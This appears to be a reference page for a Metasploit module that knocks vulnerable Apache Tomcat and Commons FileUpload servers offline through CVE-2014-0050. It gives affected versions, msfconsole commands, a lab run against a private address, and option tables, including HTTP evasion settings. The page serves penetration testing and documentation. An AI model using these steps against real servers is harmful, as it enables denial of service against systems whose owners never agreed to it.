Apache Commons FileUpload and Apache Tomcat DoS - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/apache_commons_fileupload_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Apache Commons FileUpload and Apache Tomcat DoS
Module: auxiliary/dos/http/apache_commons_fileupload_dos
Source code: modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb
Disclosure date: 2014-02-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-0050

This module triggers an infinite loop in Apache Commons FileUpload 1.0 through 1.3 via a specially crafted Content-Type header. Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50 and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also uses Commons FileUpload as part of the Manager application.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/dos/http/apache_commons_fileupload_dos
msf auxiliary(apache_commons_fileupload_dos) > show targets
    ... a list of targets ...
msf auxiliary(apache_commons_fileupload_dos) > set TARGET target-id
msf auxiliary(apache_commons_fileupload_dos) > show options
    ... show and set options ...
msf auxiliary(apache_commons_fileupload_dos) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


  1. Download and install the pre-req Java7
  2. Download and install Tomcat7
  3. Download the example multipart form war file
  4. Unzip sample-multipart-form.zip && cd sample-multipart-form
    1. If Compiling: mvn clean package
  5. cp target/sample-multipart-form.war $TOMCAT-7.0.50/webapps/
  6. Start Tomcat (linux: $TOMCAT-7.0.50/bin/startup.sh)
  7. Check if the webapp is running: http://localhost:8080/sample-multipart-form/multipartForm

Verification Steps


  1. Install Tomcat, and the vulnerable form
  2. Start msfconsole
  3. Do: use auxiliary/dos/http/apache_commons_fileupload_dos
  4. Do: set rhost <rhost>
  5. Do: set TARGETURI <uri>
  6. Do: run
  7. Tomcat should be utilizing 99%+ of the CPU

Options


TARGETURI

The URI where the multipart form is located. There is no real default and this will change based on the application.

Scenarios


Scenario uses the sample multipart form provided in this documentation, against Tomcat 7.0.50 on a Windows XP system.

msf exploit(handler) > use auxiliary/dos/http/apache_commons_fileupload_dos
msf auxiliary(apache_commons_fileupload_dos) > set rhost 192.168.2.108
rhost => 192.168.2.108
msf auxiliary(apache_commons_fileupload_dos) > set rport 8087
rport => 8087
msf auxiliary(apache_commons_fileupload_dos) > set TARGETURI /sample-multipart-form/multipartForm
TARGETURI => /sample-multipart-form/multipartForm
msf auxiliary(apache_commons_fileupload_dos) > run

[*] Sending request 1 to 192.168.2.108:8087
[*] Sending request 2 to 192.168.2.108:8087
[*] Sending request 3 to 192.168.2.108:8087
[*] Sending request 4 to 192.168.2.108:8087
[*] Sending request 5 to 192.168.2.108:8087
[*] Sending request 6 to 192.168.2.108:8087
[*] Sending request 7 to 192.168.2.108:8087
[*] Sending request 8 to 192.168.2.108:8087
[*] Sending request 9 to 192.168.2.108:8087
[*] Sending request 10 to 192.168.2.108:8087
[*] Sending request 11 to 192.168.2.108:8087
[*] Sending request 12 to 192.168.2.108:8087
[*] Sending request 13 to 192.168.2.108:8087
[*] Sending request 14 to 192.168.2.108:8087
[*] Sending request 15 to 192.168.2.108:8087
[*] Sending request 16 to 192.168.2.108:8087
[*] Sending request 17 to 192.168.2.108:8087
[*] Sending request 18 to 192.168.2.108:8087
[*] Sending request 19 to 192.168.2.108:8087
[*] Sending request 20 to 192.168.2.108:8087
[*] Sending request 21 to 192.168.2.108:8087
[*] Sending request 22 to 192.168.2.108:8087
[*] Sending request 23 to 192.168.2.108:8087
[*] Sending request 24 to 192.168.2.108:8087
[*] Sending request 25 to 192.168.2.108:8087
[*] Sending request 26 to 192.168.2.108:8087
[*] Sending request 27 to 192.168.2.108:8087
[*] Sending request 28 to 192.168.2.108:8087
[*] Sending request 29 to 192.168.2.108:8087
[*] Sending request 30 to 192.168.2.108:8087
[*] Sending request 31 to 192.168.2.108:8087
[*] Sending request 32 to 192.168.2.108:8087
[*] Sending request 33 to 192.168.2.108:8087
[*] Sending request 34 to 192.168.2.108:8087
[*] Sending request 35 to 192.168.2.108:8087
[*] Sending request 36 to 192.168.2.108:8087
[*] Sending request 37 to 192.168.2.108:8087
[*] Sending request 38 to 192.168.2.108:8087
[*] Sending request 39 to 192.168.2.108:8087
[*] Sending request 40 to 192.168.2.108:8087
[*] Sending request 41 to 192.168.2.108:8087
[*] Sending request 42 to 192.168.2.108:8087
[*] Sending request 43 to 192.168.2.108:8087
[*] Sending request 44 to 192.168.2.108:8087
[*] Sending request 45 to 192.168.2.108:8087
[*] Sending request 46 to 192.168.2.108:8087
[*] Sending request 47 to 192.168.2.108:8087
[*] Sending request 48 to 192.168.2.108:8087
[*] Sending request 49 to 192.168.2.108:8087
[*] Sending request 50 to 192.168.2.108:8087
[*] Auxiliary module execution completed

tomcat7_dos

Go back to menu.

Msfconsole Usage


Here is how the dos/http/apache_commons_fileupload_dos auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/apache_commons_fileupload_dos

msf6 auxiliary(dos/http/apache_commons_fileupload_dos) > show info

       Name: Apache Commons FileUpload and Apache Tomcat DoS
     Module: auxiliary/dos/http/apache_commons_fileupload_dos
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-02-06

Provided by:
  Unknown
  ribeirux

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RLIMIT     50               yes       Number of requests to send
  RPORT      8080             yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The request URI
  VHOST                       no        HTTP server virtual host

Description:
  This module triggers an infinite loop in Apache Commons FileUpload 
  1.0 through 1.3 via a specially crafted Content-Type header. Apache 
  Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle 
  mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 
  7.0.50 and 8.0.0-RC1 through 8.0.1 are affected by this issue. 
  Tomcat 6 also uses Commons FileUpload as part of the Manager 
  application.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-0050
  http://tomcat.apache.org/security-8.html
  http://tomcat.apache.org/security-7.html

Module Options


This is a complete list of options available in the dos/http/apache_commons_fileupload_dos auxiliary module:

msf6 auxiliary(dos/http/apache_commons_fileupload_dos) > show options

Module options (auxiliary/dos/http/apache_commons_fileupload_dos):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RLIMIT     50               yes       Number of requests to send
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The request URI
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the dos/http/apache_commons_fileupload_dos auxiliary module:

msf6 auxiliary(dos/http/apache_commons_fileupload_dos) > show advanced

Module advanced options (auxiliary/dos/http/apache_commons_fileupload_dos):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/http/apache_commons_fileupload_dos module can do:

msf6 auxiliary(dos/http/apache_commons_fileupload_dos) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/http/apache_commons_fileupload_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/apache_commons_fileupload_dos) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to connect: '<EXCEPTION.MESSAGE>'


Here is a relevant code snippet related to the "Unable to connect: '<EXCEPTION.MESSAGE>'" error message:

62:	        c = connect
63:	        r = c.request_cgi(opts)
64:	        c.send_request(r)
65:	        # Don't wait for a response
66:	      rescue ::Rex::ConnectionError => exception
67:	        print_error("Unable to connect: '#{exception.message}'")
68:	        return
69:	      ensure
70:	        disconnect(c) if c
71:	      end
72:	    end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Unknown
  • ribeirux

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.